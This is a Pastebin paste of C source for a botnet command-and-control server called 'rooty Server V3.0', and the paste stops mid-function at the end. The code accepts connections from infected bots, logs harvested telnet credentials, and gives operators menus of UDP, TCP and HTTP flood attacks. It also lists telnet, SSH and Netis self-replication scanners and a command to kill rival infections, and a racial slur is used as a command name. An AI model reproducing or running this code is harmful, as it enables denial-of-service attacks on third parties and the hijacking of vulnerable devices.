Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- ::::::::: :::::::: :::::::: ::::::::::: ::: :::
- :+: :+: :+: :+: :+: :+: :+: :+: :+:
- +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
- +#++:++#: +#+ +:+ +#+ +:+ +#+ +#++:
- +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
- #+# #+# #+# #+# #+# #+# #+# #+#
- ### ### ######## ######## ### ###
- If you have this you are trusted. Please do not leak!
- rooty Server V3.0
- make sure the login file is named LOGIN.txt
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <unistd.h>
- #include <time.h>
- #include <fcntl.h>
- #include <sys/epoll.h>
- #include <errno.h>
- #include <pthread.h>
- #include <signal.h>
- #define MAXFDS 1000000
- //////////////////////////////////
- struct login_info {
- char username[20];
- char password[20];
- };
- static struct login_info accounts[22];
- struct clientdata_t {
- uint32_t ip;
- char connected;
- } clients[MAXFDS];
- struct telnetdata_t {
- int connected;
- } managements[MAXFDS];
- struct args {
- int sock;
- struct sockaddr_in cli_addr;
- };
- static volatile FILE *telFD;
- static volatile FILE *fileFD;
- static volatile int epollFD = 0;
- static volatile int listenFD = 0;
- static volatile int OperatorsConnected = 0;
- static volatile int TELFound = 0;
- static volatile int scannerreport;
- //////////////////////////////////
- int fdgets(unsigned char *buffer, int bufferSize, int fd) {
- int total = 0, got = 1;
- while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
- return got;
- }
- void trim(char *str) {
- int i;
- int begin = 0;
- int end = strlen(str) - 1;
- while (isspace(str[begin])) begin++;
- while ((end >= begin) && isspace(str[end])) end--;
- for (i = begin; i <= end; i++) str[i - begin] = str[i];
- str[i - begin] = '\0';
- }
- static int make_socket_non_blocking (int sfd) {
- int flags, s;
- flags = fcntl (sfd, F_GETFL, 0);
- if (flags == -1) {
- perror ("fcntl");
- return -1;
- }
- flags |= O_NONBLOCK;
- s = fcntl (sfd, F_SETFL, flags);
- if (s == -1) {
- perror ("fcntl");
- return -1;
- }
- return 0;
- }
- static int create_and_bind (char *port) {
- struct addrinfo hints;
- struct addrinfo *result, *rp;
- int s, sfd;
- memset (&hints, 0, sizeof (struct addrinfo));
- hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
- hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
- hints.ai_flags = AI_PASSIVE; /* All interfaces */
- s = getaddrinfo (NULL, port, &hints, &result);
- if (s != 0) {
- fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
- return -1;
- }
- for (rp = result; rp != NULL; rp = rp->ai_next) {
- sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
- if (sfd == -1) continue;
- int yes = 1;
- if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
- s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
- if (s == 0) {
- break;
- }
- close (sfd);
- }
- if (rp == NULL) {
- fprintf (stderr, "Could not bind\n");
- return -1;
- }
- freeaddrinfo (result);
- return sfd;
- }
- void broadcast(char *msg, int us, char *sender)
- {
- int sendMGM = 1;
- if(strcmp(msg, "PING") == 0) sendMGM = 0;
- char *wot = malloc(strlen(msg) + 10);
- memset(wot, 0, strlen(msg) + 10);
- strcpy(wot, msg);
- trim(wot);
- time_t rawtime;
- struct tm * timeinfo;
- time(&rawtime);
- timeinfo = localtime(&rawtime);
- char *timestamp = asctime(timeinfo);
- trim(timestamp);
- int i;
- for(i = 0; i < MAXFDS; i++)
- {
- if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
- if(sendMGM && managements[i].connected)
- {
- send(i, "\x1b[1;35m", 9, MSG_NOSIGNAL);
- send(i, sender, strlen(sender), MSG_NOSIGNAL);
- send(i, ": ", 2, MSG_NOSIGNAL);
- }
- send(i, msg, strlen(msg), MSG_NOSIGNAL);
- if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[1;32~> \x1b[36m", 13, MSG_NOSIGNAL);
- else send(i, "\n", 1, MSG_NOSIGNAL);
- }
- free(wot);
- }
- void *BotEventLoop(void *useless) {
- struct epoll_event event;
- struct epoll_event *events;
- int s;
- events = calloc (MAXFDS, sizeof event);
- while (1) {
- int n, i;
- n = epoll_wait (epollFD, events, MAXFDS, -1);
- for (i = 0; i < n; i++) {
- if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
- clients[events[i].data.fd].connected = 0;
- close(events[i].data.fd);
- continue;
- }
- else if (listenFD == events[i].data.fd) {
- while (1) {
- struct sockaddr in_addr;
- socklen_t in_len;
- int infd, ipIndex;
- in_len = sizeof in_addr;
- infd = accept (listenFD, &in_addr, &in_len);
- if (infd == -1) {
- if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
- else {
- perror ("accept");
- break;
- }
- }
- clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
- int dup = 0;
- for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
- if(!clients[ipIndex].connected || ipIndex == infd) continue;
- if(clients[ipIndex].ip == clients[infd].ip) {
- dup = 1;
- break;
- }}
- if(dup) {
- if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
- close(infd);
- continue;
- }
- s = make_socket_non_blocking (infd);
- if (s == -1) { close(infd); break; }
- event.data.fd = infd;
- event.events = EPOLLIN | EPOLLET;
- s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
- if (s == -1) {
- perror ("epoll_ctl");
- close(infd);
- break;
- }
- clients[infd].connected = 1;
- send(infd, "!* NIGGERKILL\n", 15, MSG_NOSIGNAL);
- send(infd, "!* TELSCAN ON\n", 15, MSG_NOSIGNAL);
- }
- continue;
- }
- else {
- int datafd = events[i].data.fd;
- struct clientdata_t *client = &(clients[datafd]);
- int done = 0;
- client->connected = 1;
- while (1) {
- ssize_t count;
- char buf[2048];
- memset(buf, 0, sizeof buf);
- while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
- if(strstr(buf, "\n") == NULL) { done = 1; break; }
- trim(buf);
- if(strcmp(buf, "PING") == 0) {
- if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
- continue;
- }
- if(strstr(buf, "REPORT ") == buf) {
- char *line = strstr(buf, "REPORT ") + 7;
- fprintf(telFD, "%s\n", line);
- fflush(telFD);
- TELFound++;
- continue;
- }
- if(strstr(buf, "PROBING") == buf) {
- char *line = strstr(buf, "PROBING");
- scannerreport = 1;
- continue;
- }
- if(strstr(buf, "REMOVING PROBE") == buf) {
- char *line = strstr(buf, "REMOVING PROBE");
- scannerreport = 0;
- continue;
- }
- if(strcmp(buf, "PONG") == 0) {
- continue;
- }
- printf("buf: \"%s\"\n", buf);
- }
- if (count == -1) {
- if (errno != EAGAIN) {
- done = 1;
- }
- break;
- }
- else if (count == 0) {
- done = 1;
- break;
- }
- if (done) {
- client->connected = 0;
- close(datafd);
- }
- }
- }
- }
- }
- }
- unsigned int BotsConnected() {
- int i = 0, total = 0;
- for(i = 0; i < MAXFDS; i++) {
- if(!clients[i].connected) continue;
- total++;
- }
- return total;
- }
- void *titleWriter(void *sock)
- {
- int thefd = (int)sock;
- char string[2048];
- while(1)
- {
- memset(string, 0, 2048);
- sprintf(string, "%c]0; - Roots Slaves: %d - Telnets: %d - Admins: %d -%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
- if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
- sleep(3);
- }
- }
- int Search_in_File(char *str)
- {
- FILE *fp;
- int line_num = 0;
- int find_result = 0, find_line=0;
- char temp[512];
- if((fp = fopen("rooty.txt", "r")) == NULL){
- return(-1);
- }
- while(fgets(temp, 512, fp) != NULL){
- if((strstr(temp, str)) != NULL){
- find_result++;
- find_line = line_num;
- }
- line_num++;
- }
- if(fp)
- fclose(fp);
- if(find_result == 0)return 0;
- return find_line;
- }
- void client_addr(struct sockaddr_in addr){
- printf("IP:%d.%d.%d.%d\n",
- addr.sin_addr.s_addr & 0xFF,
- (addr.sin_addr.s_addr & 0xFF00)>>8,
- (addr.sin_addr.s_addr & 0xFF0000)>>16,
- (addr.sin_addr.s_addr & 0xFF000000)>>24);
- FILE *logFile;
- logFile = fopen("Connections.log", "a");
- fprintf(logFile, "\nIP:%d.%d.%d.%d ",
- addr.sin_addr.s_addr & 0xFF,
- (addr.sin_addr.s_addr & 0xFF00)>>8,
- (addr.sin_addr.s_addr & 0xFF0000)>>16,
- (addr.sin_addr.s_addr & 0xFF000000)>>24);
- fclose(logFile);
- }
- void *telnetWorker(void *sock)
- {
- char usernamez[80];
- int thefd = (int)sock;
- int find_line;
- OperatorsConnected++;
- pthread_t title;
- char counter[2048];
- memset(counter, 0, 2048);
- char buf[2048];
- char* nickstring;
- char* username;
- char* password;
- memset(buf, 0, sizeof buf);
- char botnet[2048];
- memset(botnet, 0, 2048);
- FILE *fp;
- int i=0;
- int c;
- fp=fopen("rooty.txt", "r");
- while(!feof(fp))
- {
- c=fgetc(fp);
- ++i;
- }
- int j=0;
- rewind(fp);
- while(j!=i-1)
- {
- fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
- ++j;
- }
- if(send(thefd, "\x1b[34mLogin:\x1b[33m ", 16, MSG_NOSIGNAL) == -1) goto end;
- if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
- trim(buf);
- sprintf(usernamez, buf);
- nickstring = ("%s", buf);
- find_line = Search_in_File(nickstring);
- if(strcmp(nickstring, accounts[find_line].username) == 0){
- if(send(thefd, "\x1b[36mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
- if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
- trim(buf);
- if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
- memset(buf, 0, 2048);
- if(send(thefd, "\x1b[36m++++ Login Is Correct fatty ++++\r\n++++ Please Remember To Love Root ++++\r\n", 100, MSG_NOSIGNAL) == -1) goto end;
- sleep(3);
- goto dope;
- }
- failed:
- if(send(thefd, "\033[1A", 6, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "\x1b[37m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "\x1b[37m* Incorrect Credentials! *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "\x1b[37m* This has been logged fatty *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "\x1b[37m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
- sleep(5);
- goto end;
- dope:
- pthread_create(&title, NULL, &titleWriter, sock);
- char dope1 [80];
- char dope2 [80];
- char dope3 [80];
- char dope4 [80];
- char dope5 [80];
- char dope6 [80];
- char dope7 [80];
- sprintf(dope1, "RRoot\r\n");
- sprintf(dope2, "Senpai\r\n");
- sprintf(dope3, "will\r\n");
- sprintf(dope4, "all\r\n");
- sprintf(dope5, "ways\r\n");
- sprintf(dope6, "be\r\n");
- sprintf(dope7, "\x1b[1;35mRoot ;)\r\n");
- char clearscreen [2048];
- memset(clearscreen, 0, 2048);
- if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, dope1, strlen(dope1), MSG_NOSIGNAL) == -1) goto end;
- sleep(2);
- if(send(thefd, dope2, strlen(dope2), MSG_NOSIGNAL) == -1) goto end;
- sleep(2);
- if(send(thefd, dope3, strlen(dope3), MSG_NOSIGNAL) == -1) goto end;
- sleep(2);
- if(send(thefd, dope4, strlen(dope4), MSG_NOSIGNAL) == -1) goto end;
- sleep(2);
- if(send(thefd, dope5, strlen(dope5), MSG_NOSIGNAL) == -1) goto end;
- sleep(2);
- if(send(thefd, dope6, strlen(dope6), MSG_NOSIGNAL) == -1) goto end;
- sleep(2);
- if(send(thefd, dope7, strlen(dope7), MSG_NOSIGNAL) == -1) goto end;
- sleep(5);
- goto fak;
- fak:
- pthread_create(&title, NULL, &titleWriter, sock);
- char line1 [999];
- char line2 [999];
- char line3 [999];
- char line4 [999];
- char line5 [999];
- char line6 [999];
- char line7 [999];
- char line8 [999];
- char line9 [999];
- sprintf(line1, "\x1b[0;36m \r\n");
- sprintf(line2, "\x1b[1;36m ██████\x1b[1;37m╗ \x1b[1;36m██████\x1b[1;37m╗ \x1b[1;36m██████\x1b[1;37m╗ \x1b[1;36m████████\x1b[1;37m╗\x1b[1;36m██\x1b[1;37m╗ \x1b[1;36m██\x1b[1;37m╗ \r\n");
- sprintf(line3, "\x1b[1;36m ██\x1b[1;37m╔══\x1b[1;36m██\x1b[1;37m╗\x1b[1;36m██\x1b[1;37m╔═══\x1b[1;36m██\x1b[1;37m╗\x1b[1;36m██\x1b[1;37m╔═══\x1b[1;36m██\x1b[1;37m╗╚══\x1b[1;36m██\x1b[1;37m╔══╝╚\x1b[1;36m██\x1b[1;37m╗ \x1b[1;36m██\x1b[1;37m╔╝ \r\n");
- sprintf(line4, "\x1b[1;36m ██████\x1b[1;37m╔╝\x1b[1;36m██\x1b[1;37m║ \x1b[1;36m██\x1b[1;37m║\x1b[1;36m██\x1b[1;37m║ \x1b[1;36m██\x1b[1;37m║ \x1b[1;36m██\x1b[1;37m║ ╚\x1b[1;36m████\x1b[1;37m╔╝ \r\n");
- sprintf(line5, "\x1b[1;36m ██\x1b[1;37m╔══\x1b[1;36m██\x1b[1;37m╗\x1b[1;36m██\x1b[1;37m║ \x1b[1;36m██\x1b[1;37m║\x1b[1;36m██\x1b[1;37m║ \x1b[1;36m██\x1b[1;37m║ \x1b[1;36m██\x1b[1;37m║ ╚\x1b[1;36m██\x1b[1;37m╔╝ \r\n");
- sprintf(line6, "\x1b[1;36m ██\x1b[1;37m║ \x1b[1;36m██\x1b[1;37m║╚\x1b[1;36m██████\x1b[1;37m╔╝╚\x1b[1;36m██████\x1b[1;37m╔╝ \x1b[1;36m██\x1b[1;37m║ \x1b[1;36m██\x1b[1;37m║ \r\n");
- sprintf(line7, "\x1b[1;37m ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ \r\n");
- sprintf(line8, "\r\n\x1b[0;36m------Welcome \x1b[0;32m %s\x1b[0;36m To The Rooty Net------\r\n", accounts[find_line].username, buf);
- sprintf(line9, "\x1b[0;31m \x1b[1;31m------Type HELP to Get Help lulz------\x1b[1;31m\r\n\r\n");
- if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
- while(1) {
- if(send(thefd, "\x1b[1;32m~> \x1b[32m", 13, MSG_NOSIGNAL) == -1) goto end;
- break;
- }
- pthread_create(&title, NULL, &titleWriter, sock);
- managements[thefd].connected = 1;
- while(fdgets(buf, sizeof buf, thefd) > 0)
- {
- if(strstr(buf, "BOTS"))
- {
- sprintf(botnet, " [+] Roots Slaves: %d [+] Telnets: %d [+] Admins: %d [+]\r\n", BotsConnected(), TELFound, OperatorsConnected);
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "STATUS"))
- {
- sprintf(botnet, " [+] Roots Slaves: %d [+] Telnets: %d [+] Admins: %d [+]\r\n", BotsConnected(), TELFound, OperatorsConnected);
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "bots"))
- {
- sprintf(botnet, " [+] Roots Slaves: %d [+] Telnets: %d [+] Admins: %d [+]\r\n", BotsConnected(), TELFound, OperatorsConnected);
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "TIME"))
- {
- sprintf(botnet, " you go past 3600 seconds and your ass is fried ~OverLords\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "RULES"))
- {
- sprintf(botnet, " Please Read The Following Rules if not will result in ban\r\n 1.) DO NOT SHARE YOUR ACCOUNT INFO \r\n 2.) DO NOT SPAM THE NET\r\n 3.) Dont hit any goverment websites\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "PORTS"))
- {
- sprintf(botnet, " Console~3074 NFO~1094/443 Hotspot~USE A TOOL FOR THEIR PORT\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "!* NIGGERKILL"))
- {
- sprintf(botnet, " Those Boats Got Killd\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "!* TELSCAN OFF"))
- {
- sprintf(botnet, " TELNET SELF REPLIFICATION OFF\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "!* TELSCAN ON"))
- {
- sprintf(botnet, " TELNET SELF REPLIFICATION ON\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "!* TCP"))
- {
- sprintf(botnet, " ATTACK SENT! [TCP]\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "!* UDP"))
- {
- sprintf(botnet, " ATTACK SENT! [UDP]\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "!* STD"))
- {
- sprintf(botnet, " ATTACK SENT! [STD]\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "!* CNC"))
- {
- sprintf(botnet, " ATTACK SENT! [CNC]\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "INFO"))
- {
- sprintf(botnet, " This server side is on Version 2. \r\n modified by root\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "!* HTTP"))
- {
- sprintf(botnet, " ATTACK SENT! [HTTP]\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "ports"))
- {
- sprintf(botnet, " Console~3074 NFO~1094 Hotspot~USE A TOOL FOR THEIR PORT\r\n");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- }
- if(strstr(buf, "HELP")) {
- pthread_create(&title, NULL, &titleWriter, sock);
- char helpline1 [80];
- char helpline2 [80];
- char helpline3 [80];
- char helpline4 [80];
- sprintf(helpline1, "\x1b[0;31mType An Option:\r\n");
- sprintf(helpline2, "\x1b[1;37m[\x1b[35mDDOS\x1b[1;37m] ~ Shows all commands for DDoS Attacks\r\n");
- sprintf(helpline3, "\x1b[1;37m[\x1b[34mEXTRA\x1b[1;37m] ~ Shows a list of all extra commands\r\n");
- sprintf(helpline4, "\x1b[1;37m[\x1b[0;34mSELF-REP\x1b[1;37m] ~ SelfRep Commands\r\n");;
- if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
- pthread_create(&title, NULL, &titleWriter, sock);
- if(send(thefd, "\x1b[1;32m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
- continue;
- }
- if(strstr(buf, "DDOS")) {
- pthread_create(&title, NULL, &titleWriter, sock);
- char ddosline1 [80];
- char ddosline2 [80];
- char ddosline3 [80];
- char ddosline4 [80];
- char ddosline5 [80];
- char ddosline6 [80];
- char ddosline7 [80];
- char ddosline8 [80];
- sprintf(ddosline1, "\x1b[34m | !* UDP [IP] [PORT] [TIME] 32 1024 1 | UDP FLOOD\r\n");
- sprintf(ddosline2, "\x1b[36m | !* TCP [IP] [PORT] [TIME] 32 all 1024 1 | TCP FLOOD\r\n");
- sprintf(ddosline3, "\x1b[34m | !* HTTP [URL] G|H|P [PORT] / [TIME] 1024 | L7 FLOOD\r\n");
- sprintf(ddosline4, "\x1b[36m | !* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
- sprintf(ddosline5, "\x1b[34m | !* CNC [IP] [PORT] [TIME] | CNC FLOOD\r\n");
- sprintf(ddosline6, "\x1b[36m | !* JUNK [IP] [PORT] [TIME] | JUNK FLOOD\r\n");
- sprintf(ddosline7, "\x1b[34m | !* HOLD [IP] [PORT] [TIME] | HOLD FLOOD \r\n");
- sprintf(ddosline8, "\x1b[36m | !* KILLATTK | STOP ALL ATTACKS\r\n");
- if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, ddosline7, strlen(ddosline7), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, ddosline8, strlen(ddosline8), MSG_NOSIGNAL) == -1) goto end;
- pthread_create(&title, NULL, &titleWriter, sock);
- if(send(thefd, "\x1b[1;32m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
- continue;
- }
- if(strstr(buf, "SELF-REP")) {
- pthread_create(&title, NULL, &titleWriter, sock);
- char repline1 [80];
- char repline2 [80];
- char repline3 [80];
- char repline4 [80];
- char repline5 [80];
- char repline6 [80];
- sprintf(repline1, "\x1b[34m | !* TELSCAN ON | OFF | TURNS ON/OFF TELNET SELFREP\r\n");
- sprintf(repline2, "\x1b[36m | !* SSHSCAN ON | OFF | TURNS ON/OFF SSH SELFREP\r\n");
- sprintf(repline3, "\x1b[34m | !* NETISSCAN ON | OFF | TURNS ON/OFF NETIS SELFREP\r\n");
- sprintf(repline4, "\x1b[36m | !* UPDATE | REINFECTS BOT\r\n");
- sprintf(repline5, "\x1b[34m | !* PYTHON 1|2|3|DOWNLOAD|OFF | TURNS ON/OFF PYTHON SCANNER\r\n");
- sprintf(repline6, "\x1b[36m | !* NIGGERKILL | KILLS OTHERS INFECTIONS\r\n");
- if(send(thefd, repline1, strlen(repline1), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, repline2, strlen(repline2), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, repline3, strlen(repline3), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, repline4, strlen(repline4), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, repline5, strlen(repline5), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, repline6, strlen(repline6), MSG_NOSIGNAL) == -1) goto end;
- pthread_create(&title, NULL, &titleWriter, sock);
- if(send(thefd, "\x1b[1;32m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
- continue;
- }
- if(strstr(buf, "EXTRA")) {
- pthread_create(&title, NULL, &titleWriter, sock);
- char extraline1 [80];
- char extraline2 [80];
- char extraline3 [80];
- char extraline4 [80];
- char extraline5 [80];
- char extraline6 [80];
- sprintf(extraline1, "\x1b[34m | PORTS | PORTS TO HIT WITH\r\n");
- sprintf(extraline2, "\x1b[36m | BOTS | BOT COUNT\r\n");
- sprintf(extraline3, "\x1b[34m | CLEAR | CLEARS SCREEN\r\n");
- sprintf(extraline4, "\x1b[36m | RULES | SHOWS RULES\r\n");
- sprintf(extraline5, "\x1b[34m | TIME | SHOWS MAX BOOT TIME\r\n");
- sprintf(extraline6, "\x1b[36m | INFO | SHOWS INFO ABOUT THIS SERVER SIDE\r\n");
- if(send(thefd, extraline1, strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, extraline2, strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, extraline3, strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, extraline4, strlen(extraline4), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, extraline5, strlen(extraline5), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, extraline6, strlen(extraline6), MSG_NOSIGNAL) == -1) goto end;
- pthread_create(&title, NULL, &titleWriter, sock);
- if(send(thefd, "\x1b[1;32m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
- continue;
- }
- if(strstr(buf, "CLEAR")){
- if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
- pthread_create(&title, NULL, &titleWriter, sock);
- managements[thefd].connected = 1;
- }
- if(strstr(buf, "clear")){
- if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
- pthread_create(&title, NULL, &titleWriter, sock);
- managements[thefd].connected = 1;
- }
- if(strstr(buf, "LOGOUT"))
- {
- sprintf(botnet, "Peace Mr %s\r\n", accounts[find_line].username, buf);
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- goto end;
- } // if someone tries to send a attack above 200O SEC it will kick them off :)
- if(strstr(buf, "3601"))
- {
- printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("TIME.log", "a");
- fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- } // max time
- if(strstr(buf, "9999"))
- {
- printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("TIME.log", "a");
- fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- } // max time
- if(strstr(buf, "99999"))
- {
- printf("ATTEMPT TO SEND ME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("TIME.log", "a");
- fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- } // max time
- if(strstr(buf, "3601"))
- {
- printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("TIME.log", "a");
- fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- } // max time
- if(strstr(buf, "3601"))
- {
- printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("TIME.log", "a");
- fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- } // max time
- if(strstr(buf, "3601"))
- {
